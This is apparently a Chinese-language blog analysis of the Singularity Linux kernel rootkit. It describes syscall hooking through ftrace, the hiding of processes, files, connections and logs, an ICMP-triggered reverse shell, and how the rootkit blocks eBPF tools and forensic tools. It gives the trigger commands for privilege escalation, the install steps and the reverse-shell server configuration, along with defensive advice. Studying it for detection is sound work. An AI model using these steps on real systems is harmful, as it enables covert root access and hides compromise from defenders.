Loading... # Singularity Linux 内核 Rootkit 技术分析 # 一、概述 ## 1. 项目简介 Singularity 是一个专为现代 Linux 6.x 内核设计的内核级 Rootkit 概念验证,由安全研究员 MatheuZSecurity(Matheus Alves)开发。该项目通过 ftrace 基础架构实现系统调用劫持,展示了内核级持久化和隐蔽技术的极限。 ## 2. 核心定位 ### A. 研究性质 该项目明确标注为教育和研究用途,旨在探索内核级隐蔽技术的边界,帮助安全研究人员和防御者理解内核 Rootkit 的能力范围。 ### B. 技术特点 - 针对 Linux 6.x 系列内核的现代实现 - 基于 ftrace 的系统调用劫持机制 - 全方位的隐蔽能力覆盖 - 多层次的检测对抗措施 ## 3. 项目背景 Linux Rootkit 技术持续演进,从早期的内核模块劫持到现代的 eBPF 检测对抗。Singularity 代表了当前内核级隐蔽技术的前沿水平,整合了进程隐藏、文件隐藏、网络隐蔽、权限提升等多种功能。 # 二、技术架构 ## 1. 系统组成 ```mermaid graph TB A[Singularity Rootkit] --> B[ftrace 劫持层] A --> C[功能模块层] A --> D[保护机制层] A --> E[隐蔽功能层] C --> C1[进程隐藏] C --> C2[文件隐藏] C --> C3[网络隐蔽] C --> C4[权限提升] D --> D1[eBPF 阻断] D --> D2[io_uring 保护] D --> D3[模块加载阻止] D --> D4[ftrace 控制保护] E --> E1[日志清理] E --> E2[模块自隐藏] E --> E3[内存取证对抗] E --> E4[审计逃逸] ```  ## 2. 核心组件 ### A. ftrace 劫持框架 Singularity 使用 Linux ftrace 基础架构实现系统调用劫持。ftrace 是 Linux 内核的跟踪工具,提供函数回调钩子机制。 **技术优势**: - 无需修改内核源码 - 动态安装和卸载钩子 - 相比传统 syscall 表劫持更隐蔽 ### B. 功能模块架构 项目采用模块化设计,各功能独立实现并通过核心头文件协调: | 模块 | 功能 | 核心文件 | |------|------|---------| | 进程隐藏 | 隐藏进程及其子进程 | hiding_directory.c, become_root.c | | 文件隐藏 | 基于模式的文件/目录隐藏 | hiding_directory.c, hiding_stat.c | | 网络隐蔽 | 隐藏 TCP/UDP 连接和端口 | hiding_tcp.c | | 权限提升 | 环境变量和信号触发 | become_root.c | | 日志清理 | 实时过滤内核日志 | clear_taint_dmesg.c | | 保护机制 | 阻止检测工具 | bpf_hook.c, hooking_insmod.c | ### C. 模块间交互 ```mermaid sequenceDiagram participant U as 用户操作 participant H as Hook 层 participant F as 功能模块 participant K as 内核 U->>H: 系统调用 H->>H: 检查是否需要劫持 alt 需要隐藏 H->>F: 调用隐藏逻辑 F->>K: 返回过滤结果 H-->>U: 返回伪造结果 else 正常流程 H->>K: 原始系统调用 K-->>U: 返回正常结果 end ```  # 三、核心功能分析 ## 1. 进程隐藏机制 ### A. 实现原理 Singularity 通过劫持多个系统调用和内核接口实现进程的完全隐藏: **劫持的系统调用**: - getdents, getdents64:过滤目录列表 - stat, lstat, statx, newfstatat:隐藏文件元数据 - openat:阻止访问 /proc/[pid] - readlinkat:阻断符号链接解析 - kill, getsid, getpgid:返回进程不存在错误 - sched_getaffinity, getpriority:隐藏调度信息 - sysinfo:调整进程计数 - pidfd_open:阻止 PID 文件描述符打开 ### B. 子进程自动追踪 通过 sched_process_fork tracepoint 钩子,Singularity 能够自动追踪并隐藏被隐藏进程的所有子进程,无需手动配置。 ### C. 使用方式 通过 kill 信号触发进程隐藏: ```bash # 隐藏当前 shell kill -59 $$ # 隐藏指定进程 kill -59 <PID> ``` ## 2. 文件系统隐藏 ### A. 模式匹配机制 Singularity 使用前缀匹配机制隐藏文件和目录。默认隐藏前缀为 singularity、obliviate 等关键字的文件。 ### B. 防护措施 为了防止隐藏文件被访问,项目还劫持了 chdir 系统调用,阻止用户进入隐藏目录,但允许直接访问其中的文件。 ### C. 实现细节 劫持的系统调用: - getdents, getdents64:过滤目录项 - stat, lstat, newfstatat:隐藏文件状态 - readlinkat:阻断符号链接解析 - chdir:阻止进入隐藏目录 ## 3. 网络隐蔽能力 ### A. 多层网络隐藏 Singularity 在多个网络层面上隐藏连接: **Proc 文件系统层**: - 劫持 tcp4_seq_show, tcp6_seq_show - 劫持 udp4_seq_show, udp6_seq_show - 过滤 /proc/net/* 接口输出 **Netlink 层**: - 过滤 SOCK_DIAG 查询(ss、lsof 使用) - 过滤 NETFILTER/conntrack 消息(conntrack 工具使用) **数据包层**: - 在 tpacket_rcv 层丢弃数据包 - 阻止 tcpdump、wireshark 等工具捕获 ### B. Conntrack 过滤 隐藏 /proc/net/nf_conntrack 中的连接条目,并过滤 netlink conntrack 查询,防止连接追踪工具检测到隐藏的网络活动。 ### C. 使用场景 配置特定端口后,该端口上的所有网络连接自动隐藏,对 netstat、ss、lsof、tcpdump 等工具不可见。 ## 4. 权限提升功能 ### A. 环境变量触发 通过设置特定的环境变量触发权限提升: ```bash MAGIC=mtz bash # 新 shell 将拥有 root 权限 ``` ### B. 信号触发 通过 kill 信号触发权限提升: ```bash kill -59 $$ # 后续命令以 root 权限执行 ``` ### C. 实现位置 该功能在 become_root.c 模块中实现,通过劫持 kill 和 getuid 系统调用实现。 ## 5. ICMP 反向 Shell ### A. 触发机制 Singularity 提供了一个隐蔽的后门机制,通过 ICMP 数据包触发反向 shell 连接。 ### B. 实现原理 1. 内核模块监听 ICMP 数据包 2. 检测特定格式的 ICMP 触发包 3. 建立到配置服务器的 TCP 反向连接 4. 自动隐藏该 shell 及其所有子进程 5. 如果激活,自动绕过 SELinux enforcing 模式 ### C. 配置要求 需要在 include/core.h 中配置服务器 IP 和端口。 ```mermaid sequenceDiagram participant A as 攻击者 participant T as 目标主机 participant S as 服务器 A->>T: 发送 ICMP 触发包 T->>T: 检测触发信号 T->>S: 建立 TCP 反向连接 T->>T: 隐藏 shell 进程 T->>T: 绕过 SELinux(如激活) S-->>A: 提供 root shell 访问 ```  # 四、保护机制分析 ## 1. 检测对抗能力 ### A. eBPF 阻断 Singularity 劫持 bpf 系统调用,阻止以下 eBPF 操作: - BPF_PROG_LOAD:加载 eBPF 程序 - BPF_ITER_CREATE:创建 eBPF 迭代器 - BPF_RAW_TRACEPOINT_OPEN:打开原始跟踪点 - BPF_LINK_CREATE:创建 eBPF 链接 - 来自隐藏 PID 的所有 eBPF 操作 ### B. io_uring 保护 针对现代 Linux 中可能绕过 ftrace 检查的 io_uring 异步 I/O 机制,Singularity 实现了智能缓存机制,每 PID 缓存 1 秒,防止重复进程扫描。 ### C. 模块加载阻止 劫持 init_module 和 finit_module 系统调用,防止其他内核模块加载,可能用于阻止安全工具的内核模块加载。 ### D. ftrace 控制保护 阻止尝试禁用 ftrace 的操作: ```bash echo 0 > /proc/sys/kernel/ftrace_enabled # 表面成功但实际无效 ``` 受保护的系统调用包括:write、writev、pwrite64、pwritev、pwritev2、sendfile、splice、tee、copy_file_range、io_uring_enter。 ## 2. 日志清理机制 ### A. 多层日志过滤 Singularity 在多个层面上清理日志痕迹: **内核日志接口**: - /proc/kmsg read hook - do_syslog hook(klogctl 系统调用) - /sys/kernel/debug/tracing/* read hook - sched_debug_show hook **系统日志**: - /var/log/kern.log、syslog、auth.log read hook - journalctl -k write hook(输出过滤) **内存取证对抗**: - /proc/kcore、/proc/kallsyms、/proc/vmallocinfo read hook ### B. 过滤关键词 自动过滤以下敏感字符串:taint、journal、singularity、Singularity、matheuz、zer0t、kallsyms_lookup_name、obliviate、hook、hooked_、constprop、clear_taint、ftrace_helper、fh_install、fh_remove ### C. Netlink 审计过滤 在 netlink 层丢弃隐藏进程的审计消息,并维护统计计数(get_blocked_audit_count、get_total_audit_count),防止审计系统检测到异常。 ## 3. 模块自隐藏 ### A. 隐藏位置 Singularity 加载后自动从以下位置隐藏: - lsmod 命令输出 - /proc/modules 文件 - /sys/module/ 目录 ### B. Taint 标志清理 内核会标记已加载非 GPL 模块或已污染内核的状态。Singularity 通过内核线程定期清理 taint_mask,清除内核污染标志。 ## 4. 磁盘取证对抗 ### A. 写系统调用劫持 Singularity 劫持 write 系统调用,检测和过滤磁盘取证工具的输出: **检测逻辑**: 1. 检测进程是否打开块设备(/dev/sda、/dev/nvme0n1 等) 2. 检测 debugfs 风格的输出模式(inode 列表、文件系统元数据) 3. 原位清理隐藏模式(替换为空格以保持缓冲区大小和校验和) ### B. 检测模式 识别以下模式并进行过滤: - debugfs: 前缀 - 带括号的 inode 列表 - Inode count、Block count、Filesystem volume name - Filesystem UUID、e2fsck、Inode 等元数据 ## 5. Cgroup 过滤 隐藏进程的 PID 从 cgroup.procs 中过滤,防止通过 /sys/fs/cgroup/*/cgroup.procs 检测隐藏进程。 ## 6. TaskStats 阻断 阻止 TaskStats netlink 查询,防止通过该机制进行 PID 枚举。 # 五、兼容性和支持 ## 1. 测试环境 | 内核版本 | 发行版 | 状态 | 备注 | |---------|-------|------|------| | 6.8.0-79-generic | Ubuntu 22.04/24.04 | 稳定 | 主要开发环境 | | 6.12.0-174.el10.x86_64 | CentOS Stream 10 | 稳定 | RHEL 系内核 | | 6.12.48+deb13-amd64 | Debian 13 (Trixie) | 稳定 | Debian 内核 | | 6.17.8-300.fc43.x86_64 | Fedora 43 | 稳定 | SELinux 强制绕过验证 | | 6.17.0-8-generic | Ubuntu 25.10 | 稳定 | 较新的通用内核 | ## 2. 多架构支持 支持 x86_64(__x64_sys_*)和 ia32(__ia32_sys_*、__ia32_compat_sys_*)两种架构。 # 六、安装和配置 ## 1. 前置要求 - Linux 内核 6.x - 内核头文件 - GCC 和 Make - Root 权限 ## 2. 快速安装 ```bash cd /dev/shm git clone https://github.com/MatheuZSecurity/Singularity cd Singularity sudo bash setup.sh sudo bash scripts/x.sh cd .. ``` ## 3. 配置服务器 IP 编辑 include/core.h: ```c #define YOUR_SRV_IP "192.168.1.100" #define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } ``` 编辑 modules/icmp.c: ```c #define SRV_PORT "8081" ``` # 七、检测和防御 ## 1. 作者声明 作者承认即使有所有这些过滤、保护和钩子,仍然有方法可以检测这个 Rootkit。但作者选择不修补这些检测方法。 ## 2. 潜在检测方法 虽然文档未明确说明,但基于项目实现,可能的检测方法包括: - 直接内核内存分析(绕过被劫持的系统调用) - 硬件级别的监控和分析 - 启动早期的内核模块检测 - 时间侧通道分析 ## 3. 防御建议 ### A. 系统层面 - 启用 Secure Boot 和模块签名验证 - 使用内核锁定模式(Kernel Lockdown Mode) - 部署内核级别的完整性监控 ### B. 监控层面 - 实施 eBPF 基础的深度监控(在 Rootkit 加载前) - 部署基于硬件的监控解决方案 - 建立基线行为分析 ### C. 检测层面 - 定期进行内核模块审计 - 使用多种独立检测工具交叉验证 - 实施启动早期的 Rootkit 扫描 # 八、绕过的安全工具 ## 1. 进程监控工具 ps、top、htop 等进程监控工具无法检测到隐藏的进程。 ## 2. 文件系统工具 ls、find、locate、stat、lstat、readlink 等工具无法发现隐藏的文件和目录。 ## 3. 磁盘取证工具 debugfs、e2fsck 等工具的输出被 write hook 过滤,隐藏文件仍然不可见。 ## 4. 内存取证工具 Volatility、crash、gdb 通过 /proc/kcore 过滤被绕过。 ## 5. 网络监控工具 netstat、ss、lsof、tcpdump、wireshark、conntrack 以及 /proc/net/* 接口都被绕过。 ## 6. 日志和跟踪工具 dmesg、journalctl -k、klogctl、strace、ltrace、ftrace、perf、bpftrace、bpftool、libbpf。 ## 7. Rootkit 检测工具 unhide、chkrootkit、rkhunter 等标准 Rootkit 检测工具被绕过。 ## 8. 模块检测工具 lsmod、modinfo、/sys/module、/proc/modules、kmod 都无法检测到 Singularity 模块。 ## 9. 现代检测工具 部分基于 eBPF 的安全工具(如 Tracee)、基于 io_uring 的监控工具以及部分 Linux EDR 产品被绕过。 # 九、项目结构 ## 1. 目录组织 - ftrace:ftrace 劫持相关代码 - include:头文件和配置 - modules:功能模块实现 - scripts:安装和辅助脚本 - main.c:主入口 - setup.sh:安装脚本 - load_and_persistence.sh:持久化脚本 ## 2. 关键文件 - include/core.h:核心配置和宏定义 - modules/icmp.c:ICMP 反向 shell 实现 - modules/bpf_hook.c:eBPF 系统调用劫持 - modules/hiding_*.c:各种隐藏功能实现 - clear_taint_dmesg.c:日志清理和 taint 标志清除 # 十、总结 ## 1. 技术意义 Singularity 展示了现代 Linux 内核 Rootkit 技术的能力边界,整合了多种高级隐蔽和对抗技术,对安全研究和防御工作具有重要参考价值。 ## 2. 教育价值 该项目为内核安全研究人员提供了学习材料,帮助理解: - ftrace 基础架构的使用 - 系统调用劫持技术 - 内核级隐蔽技术 - 检测对抗方法 ## 3. 防御启示 Singularity 的存在提醒安全从业者: - 内核级威胁的严重性 - 传统检测工具的局限性 - 需要多层防御策略 - 早期检测的重要性 ## 4. 法律和道德声明 作者明确声明该项目仅用于教育和研究目的,强调: - 仅在拥有系统或获得明确书面授权的系统上测试 - 未授权访问计算机系统在大多数司法管辖区是非法的 - 作者不对软件的任何滥用负责 *** ## 参考资料 1. [Singularity - GitHub Repository](https://github.com/MatheuZSecurity/Singularity) 2. [Singularity: A Final Boss Linux Kernel Rootkit](https://blog.kyntra.io/Singularity-A-final-boss-linux-kernel-rootkit) 3. [Bypassing Elastic EDR with Singularity](https://matheuzsecurity.github.io/hacking/bypassing-elastic/) 最后修改:2026 年 01 月 19 日 © 允许规范转载 赞 如果觉得我的文章对你有用,请随意赞赏